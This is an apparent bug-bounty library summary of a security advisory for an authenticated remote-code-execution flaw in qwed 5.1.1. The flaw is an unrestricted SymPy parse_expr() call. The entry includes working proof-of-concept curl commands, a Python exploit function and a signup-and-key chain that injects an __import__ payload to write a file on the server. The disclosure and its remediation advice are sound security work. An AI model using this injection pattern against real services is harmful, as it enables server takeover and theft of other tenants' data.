# qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`

qwed 5.1.1 passes user expressions to SymPy parse_expr() without a restricted namespace, letting any self-registered tenant run Python code in the API server.

- Payout: Research
- Severity: high
- Program: qwed
- Found by: EQSTLab
- Disclosed: 2026-08-25
- CVE: CVE-2026-55585
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-q27q-98j4-9pfv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q27q-98j4-9pfv
- Tags: area:web domain:api impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** Python FastAPI math-verification service (POST /verify/math, /verify/batch)
**Root cause:** parse_expr() internally calls eval(); both call sites omit global_dict/local_dict restrictions, so the full Python builtin namespace (including __import__) is reachable from attacker-controlled expression strings.
**Steps:**
1. Sign up via `POST /auth/signup` with arbitrary email/password/organization_name (no invite required) to get a JWT.
2. Create an API key via `POST /auth/api-keys` with `Authorization: Bearer $TOKEN`.
3. Send `POST /verify/math` with header `x-api-key: $APIKEY` and body `{"expression":"__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')"}`.
4. Observe HTTP 200 with `{"value": 23.0}` (return value of write_text cast to Integer).
5. Confirm execution: `docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce` returns the marker.
6. Same payload works via `POST /verify/batch` with a MATH item whose `query` field holds the expression.
**How found:** Code review of the /verify/math route: input passes only a cosmetic regex normalization (`re.sub(r'(\d)(\()', r'\1*\2', expression)`) before reaching parse_expr(), and neither call site supplies global_dict/local_dict, so builtins remain reachable.
**Exploitation:** Attacker self-registers a tenant, mints an API key, and submits a Python expression to /verify/math; parse_expr evaluates it in-process, giving arbitrary file read/write and OS command execution as the server user. Marker file write proves code execution; batch endpoint offers a second path.
**Escalation:** Single tenant in a shared multi-tenant deployment compromises the whole server and all tenants' data; container-level compromise enables lateral movement depending on network/volume config.
**Insight:** Any wrapper around SymPy parse_expr (or similar eval-backed parsers) is RCE unless global_dict is set to `{'__builtins__': {}}` plus an allowlist; grep for parse_expr/sympify calls in math or formula APIs and check whether the namespace args are passed.

## Proof of concept (copied exactly from the original report)

**RCE payload sent to /verify/math**

```
curl -sS -X POST http://127.0.0.1:8765/verify/math \
  -H 'Content-Type: application/json' \
  -H "x-api-key: $APIKEY" \
  -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'
```

**poc.py exploit function sending payload**

```
def exploit(base_url: str, api_key: str) -> dict:
    """
    Send the RCE payload to POST /verify/math.

    The expression uses pathlib.Path.write_text() which:
      - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process
      - Returns an integer (bytes written) that parse_expr() can handle without
        raising an exception, making the side-effect transparent to the caller

    The absence of an error and a 200 status code proves code execution.
    """
    expression = (
        f"__import__('pathlib')"
        f".Path('{RCE_MARKER_PATH}')"
        f".write_text('{RCE_MARKER_CONTENT}')"
    )
    headers = {
        "Content-Type": "application/json",
        "x-api-key": api_key,
    }
    r = requests.post(
        f"{base_url}/verify/math",
        json={"expression": expression},
        headers=headers,
        timeout=20,
    )
    content_type = r.headers.get("content-type", "")
    body = r.json() if "application/json" in content_type else r.text
    return {"status_code": r.status_code, "body": body}
```

**Signup and API key creation chain**

```
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
  -H 'Content-Type: application/json' \
  -d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')

# Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"poc"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')
```

